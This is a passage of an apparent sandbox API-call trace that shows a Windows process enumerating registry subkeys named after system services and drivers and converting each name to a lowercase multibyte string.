lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0253.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0253.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0253.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0253.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0253.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.563] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0253.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0253.563] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.563] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0253.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0253.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0253.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0253.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0253.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0253.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.564] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.564] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0253.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.564] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0253.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0253.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0253.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0253.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0253.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0253.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0253.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.565] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.565] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0253.565] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0253.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0253.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0253.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0253.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0253.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.566] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0253.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0253.566] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.566] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0253.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0253.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0253.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1c40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0253.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.567] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.567] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0253.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.567] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0253.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0253.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0253.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0253.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.568] WideCharToMultiByte (in: 